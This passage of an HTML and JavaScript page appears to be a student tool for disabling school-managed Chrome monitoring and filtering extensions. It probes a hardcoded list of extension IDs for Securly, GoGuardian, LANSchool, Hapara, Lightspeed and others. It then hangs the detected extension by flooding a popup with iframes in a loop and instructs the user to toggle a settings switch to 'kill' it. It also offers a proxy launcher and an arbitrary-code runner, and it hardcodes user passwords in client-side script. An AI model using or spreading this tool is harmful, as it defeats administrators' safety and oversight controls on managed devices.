                                    width: 100vw;
                                    height: 100vh;
                                    border: none;
                                }
                            </style>
                        </head>
                        <body>
                            <iframe id="websiteFrame" src="${proxyUrl}"></iframe>
                        </body>
                    </html>
                `);
                popup.document.close();
    
                // Add event listener to detect F11 key for fullscreen
                popup.document.addEventListener("keydown", function (event) {
                if (event.key === "F11") {
                    event.preventDefault(); // Prevent the default F11 behavior
                    var iframe = popup.document.getElementById("websiteFrame");
                    if (iframe.requestFullscreen) {
                    iframe.requestFullscreen();
                    } else if (iframe.mozRequestFullScreen) {
                    // Firefox
                    iframe.mozRequestFullScreen();
                    } else if (iframe.webkitRequestFullscreen) {
                    // Chrome, Safari and Opera
                    iframe.webkitRequestFullscreen();
                    } else if (iframe.msRequestFullscreen) {
                    // IE/Edge
                    iframe.msRequestFullscreen();
                    }
                }
                });
            });
    
        </script>
    </div>

    <div class="overlay" id="overlay">
        <div class="spinner"></div>
        <div>Hanging... Please wait.</div>
    </div>
    <div id="killExtensionText" style="display: none"></div>

    <footer>
        <a href="https://docs.google.com/document/d/16s0am4PelMGw375ctXoBn109s4BFwi7LP_yXOXKyKSs/edit?usp=sharing">Google Doc Link</a
    >
    </footer>

    <iframe
    id="backgroundVideo"
    class="background-media"
    style="display: none"
    frameborder="0"
    allowfullscreen
    ></iframe>
    <img id="backgroundImage" class="background-media" style="display: none" />

    <script>
    const validUsers = {
        Admin: "AustonJK0",
        Zyaire: "Zya",
        TIM: "Tim",
        Jayshawn: "Jay",
        Jayrion: "JayG",
        Namir: "Nam",
        Taylor: "TayTay",
    };

    loadSavedUserLogin();

    function saveUserLogin(username, password) {
    localStorage.setItem("username", username); // Save the actual username
    localStorage.setItem("password", password);
    localStorage.setItem("isLoggedIn", "true"); // Set login state
}

function loadSavedUserLogin() {
    const savedUsername = localStorage.getItem("username");
    const savedPassword = localStorage.getItem("password");
    const isLoggedIn = localStorage.getItem("isLoggedIn");

    if (isLoggedIn === "true") {
        // User is already logged in
        document.getElementById("mainContent").style.display = "block";
        setBackground();
        displayWelcomeMessage(savedUsername); // Display welcome message
    } else if (savedUsername && savedPassword) {
        // If there are saved credentials, fill them in
        document.getElementById("usernameInput").value = savedUsername;
        document.getElementById("passwordInput").value = savedPassword;
        checkLogin();
    } else {
        // Show login modal if not logged in
        const loginModal = document.getElementById("loginModal");
        loginModal.classList.add("show"); // Add class to show modal
    }
}

function checkLogin() {
    const username = document.getElementById("usernameInput").value;
    const password = document.getElementById("passwordInput").value;

    if (validUsers[username] && validUsers[username] === password) {
        saveUserLogin(username, password); // Save the actual username
        document.getElementById("loginModal").style.display = "none";
        document.getElementById("mainContent").style.display = "block";
        setBackground();
        displayWelcomeMessage(username); // Display welcome message
    } else {
        alert("Incorrect username or password. Please try again.");
    }
}

function displayWelcomeMessage(username) {
    const welcomeMessage = document.getElementById("welcomeMessage");
    welcomeMessage.innerText = `Welcome, ${username}!`;
    welcomeMessage.style.display = "block"; // Show the welcome message
}

    // Other functions remain unchanged...

    function setBackground() {
        const videoRegex = /\.(mp4|webm|ogg)$/i;
        const imageRegex = /\.(jpeg|jpg|gif|png|svg|bmp|webp)$/i;
        const imageUrl = "https://giffiles.alphacoders.com/483/48368.gif"; // Set your image URL here
        const videoUrl = ""; // Set your video URL here

        if (videoRegex.test(videoUrl)) {
        document.getElementById("backgroundVideo").src = videoUrl;
        document.getElementById("backgroundVideo").style.display = "block";
        document.getElementById("backgroundImage").style.display = "none";
        document
            .getElementById("backgroundVideo")
            .setAttribute("allow", "autoplay");
        } else if (imageRegex.test(imageUrl)) {
        document.getElementById("backgroundImage").src = imageUrl;
        document.getElementById("backgroundImage").style.display = "block";
        document.getElementById("backgroundVideo").style.display = "none";
        }
    }

    async function checkExtensionURL(url) {
        try {
        const response = await fetch(url);
        if (response.ok) {
            return true;
        } else {
            return false;
        }
        } catch (error) {
        return false;
        }
    }

    async function populateSelectOptions() {
    const selectElement = document.getElementById("iframeSelect");
    const extensions = {
        "Securly": "chrome-extension://joflmkccibkooplaeoinecjbmdebglab/fonts/Metropolis.css",
        "Securly (old)": "chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css",
        "GoGuardian": "chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/youtube_injection.js",
        "LANSchool": "chrome-extension://baleiojnjpgeojohhhfbichcodgljmnj/blocked.html",
        "Linewize": "chrome-extension://ddfbkhpmcdbciejenfcolaaiebnjcbfc/background/assets/pages/default-blocked.html",
        "Blocksi": "chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html",
        "FortiGuard": "chrome-extension://igbgpehnbmhgdgjbhkkpedommgmfbeao/youtube_injection.js",
        "Cisco Umbrella": "chrome-extension://jcdhmojfecjfmbdpchihbeilohgnbdci/blocked.html",
        "ContentKeeper": "chrome-extension://jdogphakondfdmcanpapfahkdomaicfa/img/ckauth19x.png",
        "CK-Authenticator G3": "chrome-extension://odoanpnonilogofggaohhkdkdgbhdljp/img/ckauth19x.png",
        "Securly Classroom": "chrome-extension://jfbecfmiegcjddenjhlbhlikcbfmnafd/notfound.html",
        "Hapara": "chrome-extension://kbohafcopfpigkjdimdcdgenlhkmhbnc/blocked.html",
        "Hapara (new ID)": "chrome-extension://aceopacgaepdcelohobicpffbbejnfac/blocked.html",
        "iboss": "chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html",
        "Lightspeed Filter Agent": "chrome-extension://adkcpkpghahmbopkjchobieckeoaoeem/icon-128.png",
        "Lightspeed Classroom": "chrome-extension://kkbmdgjggcdajckdlbngdjonpchpaiea/assets/icon-classroom-128.png",
        "InterCLASS Filtering Service": "chrome-extension://jbddgjglgkkneonnineaohdhabjbgopi/pages/message-page.html",
        "InterSafe GatewayConnection Agent": "chrome-extension://ecjoghccnjlodjlmkgmnbnkdcbnjgden/resources/options.js",
        "LoiLo Web Filters": "chrome-extension://pabjlbjcgldndnpjnokjakbdofjgnfia/image/allow_icon/shield_green_128x128.png",
        "Gopher Buddy": "chrome-extension://cgbbbjmgdpnifijconhamggjehlamcif/images/gopher-buddy_128x128_color.png",
        "LanSchool Web Helper": "chrome-extension://honjcnefekfnompampcpmcdadibmjhlk/blocked.html",
        "IMTLazarus": "chrome-extension://cgigopjakkeclhggchgnhmpmhghcbnaf/models/model.json",
        "Impero Backdrop": "chrome-extension://jjpmjccpemllnmgiaojaocgnakpmfgjg/licenses.html",
        "Mobile Guardian": "chrome-extension://fgmafhdohjkdhfaacgbgclmfgkgokgmb/block.html",
    };

    let hasSupportedExtensions = false;

    for (const [name, url] of Object.entries(extensions)) {
        if (await checkExtensionURL(url)) {
            const option = document.createElement("option");
            option.value = url;
            option.textContent = name;
            selectElement.appendChild(option);
            hasSupportedExtensions = true;
        }
    }

    // Hide buttons if no supported extensions are found
    if (!hasSupportedExtensions) {
        const option = document.createElement("option");
        option.value = "";
        option.textContent = "We found nothing.";
        selectElement.appendChild(option);
        document.getElementById("hangButton").style.display = "none";
        document.getElementById("openGoogleButton").style.display = "none";
        document.getElementById("tutcrash").style.display = "none";
        document.getElementById("crashButton").style.display = "none";
        document.getElementById("openNewTabButton").style.display = "none";
        document.getElementById("openWebsiteButton").style.display = "none";
        document.getElementById("showCustomUrlButton").style.display = "none";
        document.getElementById("openCustomUrlButton").style.display = "none";
        document.getElementById("closeCustomUrlButton").style.display = "none";
        document.getElementById("openallgg").style.display = "none";
    } else {
        // Show buttons if supported extensions are found
        document.getElementById("hangButton").style.display = "inline-block";
        document.getElementById("openGoogleButton").style.display = "inline-block";
        document.getElementById("tutcrash").style.display = "inline-block";
        document.getElementById("crashButton").style.display = "inline-block";
        document.getElementById("openNewTabButton").style.display = "inline-block";
        document.getElementById("openWebsiteButton").style.display = "inline-block";
        document.getElementById("showCustomUrlButton").style.display = "inline-block";
        document.getElementById("openCustomUrlButton").style.display = "inline-block";
        document.getElementById("closeCustomUrlButton").style.display = "inline-block";
        document.getElementById("openallgg").style.display = "inline-block";
    }
}

    populateSelectOptions();

    function replaceIframes(container, iframeSrc) {
        for (var i = 0; i < 1000; i++) {
        var iframe = document.createElement("iframe");
        iframe.src = iframeSrc;
        iframe.style.width = "100%";
        iframe.style.height = "100px";
        container.appendChild(iframe);
        }
        setTimeout(function () {
        while (container.firstChild) {
            container.removeChild(container.firstChild);
        }
        replaceIframes(container, iframeSrc);
        }, 5);
    }

    function warning() {
        var overlay = document.getElementById("overlay");
        overlay.style.display = " flex"; // Show overlay only for this action
        var iframeSelect = document.getElementById("iframeSelect");
        var selectedOption =
        iframeSelect.options[iframeSelect.selectedIndex].text;
        var selectedSrc = iframeSelect.value;
        var popup = window.open("", "PopupWindow", "width=50,height=50");
        var popupDocument = popup.document;
        var popupBody = popupDocument.body;
        var iframeContainer = popupDocument.createElement("div");
        iframeContainer.id = "iframeContainer";
        popupBody.appendChild(iframeContainer);
        replaceIframes(iframeContainer, selectedSrc);
        setTimeout(function () {
        popup.close();
        var extensionId = selectedSrc.substring(
            selectedSrc.indexOf("//") + 2,
            selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2)
        );
        var killExtensionText = document.getElementById("killExtensionText");
        killExtensionText.innerHTML =
            "Now that the extension <strong>" +
            selectedOption +
            "</strong> has been hanged, press the button above.";
        setTimeout(function () {
            overlay.style.display = "none"; // Hide overlay after action
            killExtensionText.style.display = "block";
            document.getElementById("killButton").style.display = "inline-block";
            document.getElementById("hangButton").style.display = "none";
            document.getElementById("crashButton").style.display = "none";
            document.getElementById("openGoogleButton").style.display = "none";
            document.getElementById("tutcrash").style.display = "none";
            document.getElementById("openallgg").style.display = "none";
            document.getElementById("openNewTabButton").style.display = "none";
            document.getElementById("showCustomUrlButton").style.display = "none";
            document.getElementById("openCustomUrlButton").style.display = "none";
            document.getElementById("closeCustomUrlButton").style.display = "none";
            document.getElementById("openWebsiteButton").style.display = "none";
            document.getElementById("iframeSelect").style.display = "none";
            document.getElementById("labelForIframeSelect").style.display = "none";
            document
            .getElementById("killButton")
            .setAttribute("data-url", selectedSrc);
        }, 10000);
        }, 5000);
    }

    function openExtensionPopup() {
        var selectedSrc = document
        .getElementById("killButton")
        .getAttribute("data-url");
        var extensionId = selectedSrc.substring(
        selectedSrc.indexOf("//") + 2,
        selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2)
        );
        var killExtensionText = document.getElementById("killExtensionText");
        document.getElementById("killButton").style.display = "none";
        killExtensionText.innerHTML =
        "Make sure to keep this tab open. Then in a new tab open <strong>chrome://extensions/?id=" +
        extensionId +
        "</strong> Flip the switch called allow access to file URLs twice. The extension was successfully killed! Now you can close that tab as well as this one. If you want to restore the extension, flip the allow access to file URLs switch again.";

        window.location.href = selectedSrc;
    }

    function openCrashPopup() {
    // Create a new popup window
    var popup = window.open("", "CrashPopup", "width=800,height=600");
    var popupDocument = popup.document;

    // Write the initial HTML content to the popup
    popupDocument.write(`
        <html>
            <head>
                <title>Execute HTML and JavaScript</title>
                <style>
                    body {
                        background: url('https://giffiles.alphacoders.com/483/48368.gif') no-repeat center center fixed;
                        background-size: cover;
                        color: #ffffff;
                        font-family: 'Varela Round', sans-serif;
                        padding: 20px;
                        display: flex;
                        flex-direction: column;
                        height: 100vh;
                    }
                    .container {
                        display: flex;
                        flex: 1;
                        margin-bottom: 10px;
                    }
                    .code-area {
                        flex: 1;
                        margin-right: 10px;
                    }
                    .output-area {
                        flex: 1;
                        border: 1px solid #ffffff;
                        background-color: rgba(0, 0, 0, 0.5);
                        display: none; /* Initially hide the output area */
                        overflow: auto; /* Enable scrolling */
                        resize: both; /* Allow both horizontal and vertical resizing */
                        padding: 10px; /* Add some padding */
                    }
                    textarea {
                        width: 100%;
                        height: 100px;
                        margin-bottom: 10px;
                        background-color: rgba(255, 255, 255, 0.1);
                        color: #ffffff;
                        border: 1px solid #ffffff;
                        border-radius: 5px;
                        transition: border-color 0.3s ease;
                    }
                    textarea:focus {
                        border-color: #4b6b77;
                        outline: none;
                    }
                    button {
                        margin: 5px 0; /* Vertical margin for spacing */
                        padding: 10px; /* Consistent padding */
                        background-color: #351b6054;
                        color: #ffffff;
                        border: none;
                        font-size: 14px; /* Smaller font size */
                        border-radius: 5px; /* Smaller border radius */
                        width: 100%; /* Set all buttons to the same width */
                        transition: background-color 0.3s ease, transform 0.3s ease, box-shadow 0.3s ease;
                        cursor: pointer;
                    }
                    button:hover {
                        background-color: #0a1124;
                        transform: translateY(-2px);
                        box-shadow: 0 4px 10px rgba(0, 0, 0, 0.3);
                    }
                    iframe {
                        width: 100%;
                        height: 100%;
                        border: none;
                    }
                    .error {
                        color: red;
                    }
                </style>
            </head>
            <body>
                <h1>Execute HTML and JavaScript</h1>
                <div class="container">
                    <div class="code-area">
                        <h2>HTML Input</h2>
                        <textarea id="htmlInput" placeholder="Write your HTML code here..."></textarea>
                        <button id="executeHtmlButton">Execute HTML</button>
                        <h2>JavaScript Input</h2>
                        <textarea id="jsInput" placeholder="Write your JavaScript code here..."></textarea>
                        <button id="executeJsButton">Execute JavaScript</button>
                        <h2>Upload File</h2>
                        <input type="file" id="fileInput" accept=".html,.js" />
                        <button id="loadFileButton">Load File</button>
                        <button id="removeFileButton">Remove File</button>
                        <button id="popOutButton">Pop Out HTML</button>
                        <button id="toggleOutputButton">Toggle Output</button>
                        <div id="jsError" class="error"></div> <!-- Error display -->
                    </div>
                    <div class="output-area" id="outputArea" contenteditable="true">
                        <iframe id="output"></iframe>
                    </div>
                </div>
            </body>
 </html>
    `);

    // Close the document to render the content
    popupDocument.close();

    // Create a variable to hold the output document
    let outputDocument;

    // Function to update the output iframe
    function updateOutput() {
        const htmlCode = popupDocument.getElementById("htmlInput").value;
        const outputFrame = popupDocument.getElementById("output");
        outputDocument = outputFrame.contentDocument || outputFrame.contentWindow.document;

        // Clear the output document before writing new content
        outputDocument.open();
        outputDocument.write(`
            <html>
                <head>
                    <title>Output</title>
                    <style>
                        body {
                            margin: 0;
                            padding: 0;
                            background: rgba(0, 0, 0, 0.5);
                            color: #ffffff;
                        }
                    </style>
                </head>
                <body>
                    ${htmlCode} <!-- Only include the body content -->
                </body>
            </html>
        `);
        outputDocument.close();

        // Show the output area after executing HTML
        popupDocument.getElementById("outputArea").style.display = "block"; // Ensure the output area is visible
    }

    // Function to execute JavaScript and check for errors
    function executeJavaScript() {
        const jsCode = popupDocument.getElementById("jsInput").value;
        const jsErrorDisplay = popupDocument.getElementById("jsError");
        jsErrorDisplay.textContent = ""; // Clear previous errors

        try {
            const script = outputDocument.createElement("script");
            script.textContent = jsCode;
            outputDocument.body.appendChild(script);
        } catch (error) {
            jsErrorDisplay.textContent = "Syntax Error: " + error.message; // Display error message
        }
    }

    // Add event listener for the input event on the HTML textarea
    popupDocument.getElementById("htmlInput").addEventListener("input", updateOutput);

    // Add event listener for the execute HTML button
    popupDocument.getElementById("executeHtmlButton").addEventListener("click", updateOutput);

    // Add event listener for the editable output area
    popupDocument.getElementById("outputArea").addEventListener("input", function () {
        const editableContent = popupDocument.getElementById("outputArea").innerHTML;
        popupDocument.getElementById("htmlInput").value = editableContent; // Update the HTML input with the editable content
        updateOutput(); // Update the output iframe with the new content
    });

    // Add event listener for the execute JavaScript button
    popupDocument.getElementById("executeJsButton").addEventListener("click", executeJavaScript);

    // Add event listener for the load file button
    popupDocument.getElementById("loadFileButton").addEventListener("click", function () {
        const fileInput = popupDocument.getElementById("fileInput");
        const file = fileInput.files[0];

        if (file) {
            const reader = new FileReader();
            reader.onload = function (event) {
                const fileContent = event.target.result;
                const isHtml = file.name.endsWith('.html');
                const isJs = file.name.endsWith('.js');

                if (isHtml) {
                    popupDocument.getElementById("htmlInput").value = fileContent;
                    updateOutput(); // Update output immediately after loading HTML
                } else if (isJs) {
                    popupDocument.getElementById("jsInput").value = fileContent;
                    executeJavaScript(); // Execute JavaScript immediately after loading
                } else {
                    alert("Please upload a valid HTML or JavaScript file.");
                }
            };
            reader.readAsText(file);
        } else {
            alert("No file selected.");
        }
    });

    // Add event listener for the remove file button
    popupDocument.getElementById("removeFileButton").addEventListener("click", function () {
        popupDocument.getElementById("fileInput").value = ""; // Clear the file input
        popupDocument.getElementById("htmlInput").value = ""; // Clear the HTML input
        popupDocument.getElementById("jsInput").value = ""; // Clear the JavaScript input
        popupDocument.getElementById("outputArea").style.display = "none"; // Hide the output area
        popupDocument.getElementById("jsError").textContent = ""; // Clear any error messages
    });

    // Add event listener for the pop out button
    popupDocument.getElementById("popOutButton").addEventListener("click", function () {
        const htmlCode = popupDocument.getElementById("htmlInput").value;
        const jsCode = popupDocument.getElementById("jsInput").value;

        // Open a new window for the HTML output
        const newWindow = window.open("", "PoppedOutHTML" + Date.now(), "width=800,height=600");
        newWindow.document.write(`
            <html>
                <head>
                    <title>Popped Out HTML</title>
                </head>
                <body>
                    ${htmlCode}
                </body>
            </html>
        `);
        newWindow.document.close();

        // Function to execute JavaScript in the popped-out window
        const executeJsInNewWindow = (code) => {
            const script = newWindow.document.createElement("script");
            script.textContent = code;
            newWindow.document.body.appendChild(script);
        };

        // Execute JavaScript in the new window
        executeJsInNewWindow(jsCode);

        // Add a button to execute JavaScript in the popped-out window
        const executeJsButton = newWindow.document.createElement("button");
        executeJsButton.textContent = "Execute JavaScript";
        executeJsButton.style.margin = "5px";
        executeJsButton.style.padding = "10px"; // Consistent padding
        executeJsButton.style.backgroundColor = "#351b6054";
        executeJsButton.style.color = "#ffffff";
        executeJsButton.style.border = "none";
        executeJsButton.style.fontSize = "14px"; // Smaller font size
        executeJsButton.style.borderRadius = "5px"; // Smaller border radius
        newWindow.document.body.appendChild(executeJsButton);

        executeJsButton.addEventListener("click", function () {
            const jsCode = popupDocument.getElementById("jsInput").value;
            executeJsInNewWindow(jsCode);
        });
    });

    // Add event listener for the toggle output button
    popupDocument.getElementById("toggleOutputButton").addEventListener("click", function () {
        const outputArea = popupDocument.getElementById("outputArea");
        outputArea.style.display =
            outputArea.style.display === "none" || outputArea.style.display === ""
                ? "block"
                : "none";
    });
}
    </script>
</body>
</html>